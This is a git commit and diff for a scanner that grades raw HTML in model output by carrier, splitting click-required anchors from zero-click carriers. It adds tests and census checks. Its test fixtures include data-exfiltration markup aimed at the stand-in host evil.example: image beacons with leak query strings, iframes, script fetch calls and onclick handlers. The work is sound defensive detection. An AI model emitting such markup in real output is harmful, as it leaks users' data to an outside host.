feat(active-content): raw HTML graded on carrier, and a tag naming no target is inert
Two changes that had to ship together, because they co-occur. `active:raw-html-link` (MEDIUM) splits the click-required carriers out of `active:raw-html`. The same URL was LOW as `[t](url)` and HIGH as `<a href="url">` — an asymmetry produced by syntax, not by affordance, on a carrier the markdown path has graded MEDIUM since 0.3.1. The event-handler test runs first, so `<a onclick=...>` stays HIGH. The url-attribute branch stays HIGH too: a name outside the active set has unknown rendering, and grading `<Card src=...>` as a link would be reasoning rather than measurement. The no-URL narrowing makes `</a>`, `<Frame>`, `<video />` and `<img alt=...>` without `src` inert — `<base />`'s argument from 0.6.0 applied to the rest of the name branch. It tests for the URL attribute's PRESENCE, not for a readable value, so the fail-secure gap `_url_attr_is_external` leaves open is not reopened here. WHY TOGETHER: the narrowing strips a document's `</a>`/`<Frame>` and what remains is the `<a href=...>` the split grades down, so each alone leaves the document blocked by the other's residue. `active_tag_class` is now the classification point and `is_active_tag` wraps it. The census patches the former: a boolean could only express a narrowing, never a regrade, so every carrier candidate would have measured equal to PRODUCTION — silently, and in the direction that reads as "no change helps". TWO COSTS, BOTH RECORDED RATHER THAN GLOSSED: - The split TIGHTENS the trusted tier. One finding becomes two, and >=2 findings at MEDIUM+ trip the compound overlay, so a document carrying both an `<img src>` and an `<a href>` goes WARN -> quarantine_review on PRESET_TRUSTED_SOURCE. On that preset it is the only direction the split can move anything. The census now reports a TIGHTENS column on both trust tiers against the previously shipped row — "frees N" without "tightens M" is a one-sided number. - `count` drops on documents containing `</a>`, a published field moving under a meaning that did not change. MEASURED: reference-corpus (389) 54 -> 53 fail_secure, tightens 0/0, and the census `PRODUCTION` row equals its `C1 + D` candidate row for row. The census also reproduces 133/3/13/108/25 exactly, so it is calibrated against every published historical number. The two wiki corpora are NOT yet re-measured; the tree says so explicitly in the docstring, LIMITATIONS and CHANGELOG rather than carrying probe numbers as fact. 791 tests (was 759), coverage 129/129, 6/6 documented gaps holding. Version bumped to 0.7.0 across every surface; no tag is set until the measurement lands.
This commit is contained in:
parent
0df7e87c2f
commit
fcfaee4589
18 changed files with 544 additions and 99 deletions
|
|
@ -267,16 +267,111 @@ def test_default_source_is_output_and_override_respected():
|
|||
# Documented in docs/LIMITATIONS.md. Pinned so the concessions stay honest: a
|
||||
# closed over-block should fail here and force the doc to be updated.
|
||||
|
||||
# --- the carrier split and the no-URL narrowing (0.7.0) ----------------------
|
||||
# Two changes that had to ship together: measured alone they free 9 / 21 of
|
||||
# vendor-harvest's 62 fail_secure documents, together 43 of an achievable 44.
|
||||
# They co-occur — the no-URL narrowing removes a document's `</a>` and `<Frame>`
|
||||
# tags, and what is left is the `<a href=...>` the carrier split grades down, so
|
||||
# each change alone leaves the document blocked by the other's residue. Method
|
||||
# and numbers: `docs/rawhtml-census.py`.
|
||||
|
||||
def test_raw_anchor_is_the_link_class_at_medium():
|
||||
# Following an anchor needs a human, exactly like a markdown inline link —
|
||||
# which has been MEDIUM since 0.3.1. The same URL was HIGH here and LOW as
|
||||
# `[t](...)`, an asymmetry that came from syntax, not affordance.
|
||||
finding = [f for f in scan_active_content(
|
||||
'<a href="https://evil.example/go?d=account">t</a>').findings
|
||||
if f.label == "active:raw-html-link"]
|
||||
assert len(finding) == 1, "anchor not reported as the link class"
|
||||
assert finding[0].severity is Severity.MEDIUM, finding[0].severity
|
||||
|
||||
|
||||
def test_zero_click_carriers_keep_raw_html_at_high():
|
||||
# The split moves ONLY the click-required carriers. Anything a renderer
|
||||
# fetches or executes unattended stays where it was.
|
||||
for text in ('<img src="https://evil.example/leak?d=x">',
|
||||
'<iframe src="https://evil.example/x">',
|
||||
"<script>fetch('https://evil.example/x')</script>"):
|
||||
finding = [f for f in scan_active_content(text).findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert finding and finding[0].severity is Severity.HIGH, text
|
||||
|
||||
|
||||
def test_event_handler_on_an_anchor_stays_high():
|
||||
# An `onclick=` anchor is execute-class, not click-required-carrier class.
|
||||
# The handler test runs BEFORE the name test, so the split cannot grade an
|
||||
# XSS carrier down to MEDIUM.
|
||||
labels = {f.label for f in scan_active_content(
|
||||
'<a href="https://x.example/p" onclick="fetch(1)">t</a>').findings}
|
||||
assert "active:raw-html" in labels
|
||||
assert "active:raw-html-link" not in labels
|
||||
|
||||
|
||||
def test_mixed_document_reports_both_classes_separately():
|
||||
# The class collapses to one finding, so a document carrying both must not
|
||||
# lose the anchor behind the script — nor grade the script down to the
|
||||
# anchor's severity.
|
||||
report = scan_active_content(
|
||||
'<script>x()</script> and <a href="https://x.example/p?d=1">t</a>')
|
||||
by_label = {f.label: f for f in report.findings}
|
||||
assert by_label["active:raw-html"].severity is Severity.HIGH
|
||||
assert by_label["active:raw-html-link"].severity is Severity.MEDIUM
|
||||
|
||||
|
||||
def test_link_class_has_no_ordinary_form():
|
||||
# Raw HTML grades on carrier only, never on URL shape — measured: applying
|
||||
# `is_ordinary_url` to raw tags frees 1 / 1 / 0 documents, because real
|
||||
# vendor-doc image URLs are not ordinary. A third tier here would be a
|
||||
# severity nobody decided on.
|
||||
finding = [f for f in scan_active_content(
|
||||
'<a href="https://learn.microsoft.com/en-us/azure/overview">t</a>').findings
|
||||
if f.label == "active:raw-html-link"]
|
||||
assert finding and finding[0].severity is Severity.MEDIUM, finding
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,text", [
|
||||
# Fires on the *name* branch: names are lower-cased and `frame` is in the
|
||||
# active set (legacy HTML framesets), while `Frame` is a common MDX component.
|
||||
# `</a>` — 146 occurrences inside vendor-harvest's fail_secure documents.
|
||||
("end-tag-names-no-target", "</a>"),
|
||||
# `<Frame>` / `</Frame>` — a common MDX wrapper component, 94 occurrences.
|
||||
("mdx-component-named-like-a-tag", "<Frame>"),
|
||||
("mdx-component-end-tag", "</Frame>"),
|
||||
# `<video />`, 19 occurrences: a self-closing media tag naming no source.
|
||||
("self-closing-media", "<video />"),
|
||||
("anchor-without-href", "<a />"),
|
||||
# An `<img>` carrying alt text but no `src` fetches nothing.
|
||||
("img-without-src", '<img alt="Diagram of the agent loop">'),
|
||||
])
|
||||
def test_raw_html_overblocks_are_still_high(cid, text):
|
||||
finding = [f for f in scan_active_content(text).findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert len(finding) == 1, f"{cid}: raw-html not reported"
|
||||
assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"
|
||||
def test_url_affordance_tag_without_a_url_is_not_active(cid, text):
|
||||
# A tag whose whole affordance IS the URL it names, carrying no URL
|
||||
# attribute at all, has no affordance in any renderer — the argument 0.6.0
|
||||
# already accepted for `<base />`, applied to the rest of the name branch.
|
||||
assert not [f for f in scan_active_content(text).findings
|
||||
if f.label.startswith("active:raw-html")], cid
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,text", [
|
||||
("relative-src-still-active", '<img src="/local/diagram.png">'),
|
||||
("relative-href-still-active", '<a href="/en/quickstart">t</a>'),
|
||||
# The narrowing tests for the ATTRIBUTE's presence, not for a readable value:
|
||||
# a value the parser cannot resolve must over-block, never under-block. The
|
||||
# corpora carry 0 of these today, which is empirical, not structural.
|
||||
("unreadable-value-fails-secure", "<img src= >"),
|
||||
("event-handler-without-url", '<a onclick="fetch(1)">t</a>'),
|
||||
])
|
||||
def test_url_affordance_narrowing_only_frees_the_attribute_less(cid, text):
|
||||
assert [f for f in scan_active_content(text).findings
|
||||
if f.label.startswith("active:raw-html")], cid
|
||||
|
||||
|
||||
def test_unknown_name_with_an_external_url_stays_high():
|
||||
# The url-attribute branch is deliberately NOT in the link class: a tag
|
||||
# outside the known name set has unknown rendering, and `href` is not the
|
||||
# only URL attribute it may carry. Measured cost of the conservative line:
|
||||
# one document per wiki corpus.
|
||||
finding = [f for f in scan_active_content(
|
||||
'<Card title="Docs" href="https://evil.example/leak?d=x">').findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert len(finding) == 1 and finding[0].severity is Severity.HIGH, finding
|
||||
|
||||
|
||||
# --- the two over-blocks CLOSED in 0.6.0 (the `A + base-url` narrowing) -------
|
||||
|
|
@ -324,18 +419,19 @@ def test_external_url_attr_is_still_active(cid, text):
|
|||
assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"
|
||||
|
||||
|
||||
def test_raw_html_counts_end_tags():
|
||||
# `</a>` is active by name on its own, so a corpus census counting only opening
|
||||
# tags understates this detector's `count`. The class still collapses to ONE
|
||||
# finding — the count is what moves.
|
||||
solo = [f for f in scan_active_content("</a>").findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert len(solo) == 1 and solo[0].count == 1
|
||||
def test_raw_html_no_longer_counts_end_tags():
|
||||
# Through 0.6.1 `</a>` was active by name on its own, so `count` ran roughly
|
||||
# 1.6x the opening-tag total and a start/end pair counted 2. The no-URL
|
||||
# narrowing makes an end tag inert — it names no target — so `count` is now
|
||||
# the opening-tag total. This is a PUBLISHED field moving: a consumer reading
|
||||
# `count` sees it drop for every document carrying `</a>`.
|
||||
assert not [f for f in scan_active_content("</a>").findings
|
||||
if f.label.startswith("active:raw-html")]
|
||||
|
||||
pair = [f for f in scan_active_content('<a href="https://x.example/p">t</a>').findings
|
||||
if f.label == "active:raw-html"]
|
||||
if f.label == "active:raw-html-link"]
|
||||
assert len(pair) == 1, "a start/end pair must not split into two findings"
|
||||
assert pair[0].count == 2, f"end tag not counted: {pair[0].count}"
|
||||
assert pair[0].count == 1, f"end tag still counted: {pair[0].count}"
|
||||
|
||||
|
||||
# --- self-safety (OWASP LLM10): the long-attribute arm -----------------------
|
||||
|
|
|
|||
|
|
@ -60,6 +60,7 @@ def test_active_content_severity_frozen():
|
|||
"reference-link": Severity.MEDIUM,
|
||||
"autolink": Severity.MEDIUM,
|
||||
"raw-html": Severity.HIGH,
|
||||
"raw-html-link": Severity.MEDIUM,
|
||||
"data-uri": Severity.HIGH,
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -136,6 +136,11 @@ def test_census_private_active_content_names_still_exist():
|
|||
assert ac._url_attr_is_external(' href="//evil.example"') is True
|
||||
assert ac._url_attr_is_external(' href="/relative"') is False
|
||||
assert callable(ac.is_active_tag)
|
||||
assert callable(ac.active_tag_class)
|
||||
# 0.7.0's two name sets, both reached by name from the census's `_variant`.
|
||||
assert "a" in ac._LINK_TAGS and "img" not in ac._LINK_TAGS
|
||||
assert {"a", "frame", "img"} <= ac._URL_AFFORDANCE_TAGS
|
||||
assert "script" not in ac._URL_AFFORDANCE_TAGS, "an execute-class tag needs no URL"
|
||||
|
||||
|
||||
def test_census_masking_pipeline_matches_the_scanner_symbols():
|
||||
|
|
@ -162,21 +167,45 @@ def test_census_candidate_table_keeps_its_three_fixed_rows():
|
|||
assert names[0] == "pre-0.6.0 (no narrowing)", "first row is the baseline the rest subtract from"
|
||||
assert sum(fn is None for _, fn in census.CANDIDATES) == 1, "exactly one unpatched PRODUCTION row"
|
||||
assert fns["PRODUCTION (as shipped)"] is None
|
||||
assert fns["NONE (ceiling)"]("iframe", ' src="https://evil.example"') is False
|
||||
assert fns["NONE (ceiling)"]("iframe", ' src="https://evil.example"') is None
|
||||
|
||||
|
||||
def test_census_candidates_return_a_class_not_a_boolean():
|
||||
# A boolean patch point cannot express a REGRADE, only a narrowing. If a
|
||||
# candidate ever returns True/False again, every carrier row would compare
|
||||
# equal to PRODUCTION on the non-WARN metric and the script would report
|
||||
# "the split buys nothing" — the exact conclusion it exists to disprove.
|
||||
candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
|
||||
assert candidate("a", ' href="https://evil.example/x?d=1"') == "raw-html-link"
|
||||
assert candidate("script", "") == "raw-html"
|
||||
assert candidate("a", "") is None
|
||||
for value in (True, False):
|
||||
assert candidate("a", ' href="https://evil.example/x"') is not value
|
||||
|
||||
|
||||
def test_census_patch_point_actually_moves_the_gate(monkeypatch):
|
||||
# The census measures candidates by replacing `active_content.is_active_tag`
|
||||
# The census measures candidates by replacing `active_content.active_tag_class`
|
||||
# in-process. If the scanner ever resolves that predicate any other way — a
|
||||
# local alias, an inlined body — every candidate row would silently equal
|
||||
# PRODUCTION and the script would report "no narrowing helps" as a finding.
|
||||
doc = 'Read more <iframe src="https://evil.example/x"></iframe>'
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is not Disposition.WARN
|
||||
|
||||
monkeypatch.setattr(ac, "is_active_tag", lambda name, attrs: False)
|
||||
monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: None)
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.WARN
|
||||
|
||||
|
||||
def test_census_regrade_patch_point_moves_the_severity(monkeypatch):
|
||||
# The other half: patching the class must move the DISPOSITION TIER, not just
|
||||
# presence. A carrier candidate that regrades without changing the tier would
|
||||
# be unmeasurable, which is how the non-WARN-only metric hid this class.
|
||||
doc = '<img src="https://evil.example/leak?d=x">'
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
|
||||
|
||||
monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: "raw-html-link")
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.QUARANTINE_REVIEW
|
||||
|
||||
|
||||
# Every branch of the shipped predicate, plus the two shapes where a hand-rolled
|
||||
# attribute reader diverges from it: a URL attribute name reached through a
|
||||
# prefix (`data-src`), and a multi-candidate `srcset` whose external target is
|
||||
|
|
@ -194,16 +223,26 @@ _PREDICATE_CASES = [
|
|||
("div", ' srcset="a.png 1x, https://evil.example/x.png 2x"'),
|
||||
("div", ' cite="https://evil.example"'),
|
||||
("p", ""),
|
||||
# 0.7.0's two branches. Without these the shipped-candidate check would pass
|
||||
# while the census still measured the 0.6.1 predicate.
|
||||
("a", ' href="https://evil.example/x?d=1"'), # carrier split -> link class
|
||||
("area", ' href="//evil.example"'),
|
||||
("a", ' onclick="steal()"'), # handler beats the split
|
||||
("a", ""), # no-URL narrowing -> inert
|
||||
("frame", ""),
|
||||
("img", ' alt="a diagram"'),
|
||||
("img", ' src="/local/diagram.png"'), # relative URL is still active
|
||||
("script", ' type="module"'), # execute-class needs no URL
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name,attrs", _PREDICATE_CASES, ids=[f"{n}{a}" for n, a in _PREDICATE_CASES])
|
||||
def test_census_production_row_equals_its_a_plus_base_candidate(name, attrs):
|
||||
# The census's own docstring: "`A + base-url` is what 0.6.0 shipped, so these
|
||||
# two rows must agree — a mismatch means the code and this script have drifted
|
||||
# apart and every number below is suspect." That claim was never asserted.
|
||||
candidate = dict(census.CANDIDATES)["A + base-url (both)"]
|
||||
assert candidate(name, attrs) == ac.is_active_tag(name, attrs)
|
||||
def test_census_production_row_equals_its_shipped_candidate(name, attrs):
|
||||
# The census's own docstring: "`C1 + D` is what 0.7.0 ships, so these two rows
|
||||
# must agree — a mismatch means the code and this script have drifted apart
|
||||
# and every number below is suspect." That claim was never asserted.
|
||||
candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
|
||||
assert candidate(name, attrs) == ac.active_tag_class(name, attrs)
|
||||
|
||||
|
||||
# --- both scripts: the argument-less contract --------------------------------
|
||||
|
|
|
|||
|
|
@ -102,6 +102,13 @@ def test_raw_active_html_is_escaped():
|
|||
@pytest.mark.parametrize("cid,text", [
|
||||
("relative-href-on-inactive-name", '<Card href="/en/agent-sdk/quickstart">'),
|
||||
("attributeless-base", "<base />"),
|
||||
# 0.7.0's no-URL narrowing. The scanner now lets these pass — they name no
|
||||
# target — but the mutator still escapes them, because a human auditing
|
||||
# defanged output should see the markup that was there.
|
||||
("end-tag", "</a>"),
|
||||
("mdx-wrapper-component", "<Frame>"),
|
||||
("self-closing-media", "<video />"),
|
||||
("img-without-src", '<img alt="a diagram">'),
|
||||
])
|
||||
def test_mutator_still_defangs_what_the_scanner_now_lets_pass(cid, text):
|
||||
# The deliberate asymmetry, extended to raw HTML in 0.6.0: the SCANNER narrowed
|
||||
|
|
|
|||
|
|
@ -183,11 +183,38 @@ def test_inert_vendor_doc_html_is_not_active(text):
|
|||
|
||||
|
||||
@pytest.mark.parametrize("text", [
|
||||
'<a href="https://x.example/p">here</a>', '<img src="https://x.example/a.png">',
|
||||
'<div onclick="x()">clickme</div>',
|
||||
'<img src="https://x.example/a.png">', '<div onclick="x()">clickme</div>',
|
||||
'<iframe src="https://x.example/x"></iframe>',
|
||||
])
|
||||
def test_active_raw_html_still_fails_secure_on_upload(text):
|
||||
# The other half of the same correction: `a` and `img` are active by name, so
|
||||
# hand-written links and images in raw HTML *are* caught. The overcount is in
|
||||
# the formatting tags above, not in a weakened rule.
|
||||
def test_zero_click_raw_html_still_fails_secure_on_upload(text):
|
||||
# The other half of the same correction: `img` is active by name, so a
|
||||
# hand-written image in raw HTML *is* caught. The overcount is in the
|
||||
# formatting tags above, not in a weakened rule.
|
||||
assert screen_output(text, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
|
||||
|
||||
|
||||
def test_split_tightens_the_trusted_tier_when_both_carriers_are_present():
|
||||
# The cost side of the carrier split, pinned because it runs OPPOSITE to the
|
||||
# change's purpose. Splitting one class into two means a document carrying
|
||||
# both an `<img src>` and an `<a href>` now emits TWO findings at MEDIUM+
|
||||
# where it emitted one, which trips the compound overlay: WARN through 0.6.1,
|
||||
# QUARANTINE_REVIEW from 0.7.0. On the trusted preset nothing was hard-failed
|
||||
# to begin with, so this is the only direction the split can move it.
|
||||
both = ('<img src="https://x.example/a.png?d=1"> '
|
||||
'and <a href="https://x.example/p?d=2">t</a>')
|
||||
assert screen_output(both, PRESET_TRUSTED_SOURCE).disposition is Disposition.QUARANTINE_REVIEW
|
||||
|
||||
# The same document with only the zero-click carrier still WARNs on trusted:
|
||||
# the escalation comes from the second finding, not from a changed severity.
|
||||
only_img = '<img src="https://x.example/a.png?d=1">'
|
||||
assert screen_output(only_img, PRESET_TRUSTED_SOURCE).disposition is Disposition.WARN
|
||||
|
||||
|
||||
def test_raw_anchor_is_held_for_review_not_hard_failed():
|
||||
# 0.7.0's carrier split. A raw anchor was FAIL_SECURE through 0.6.1 while the
|
||||
# identical markdown link was WARN — an asymmetry of syntax, not affordance.
|
||||
# It is now held for a human like every other click-required carrier. Pinned
|
||||
# HERE, at the composed gate, because what a consumer feels is the
|
||||
# disposition, not the label: this must never reach WARN either.
|
||||
result = screen_output('<a href="https://x.example/p">here</a>', PRESET_USER_UPLOAD)
|
||||
assert result.disposition is Disposition.QUARANTINE_REVIEW, result
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue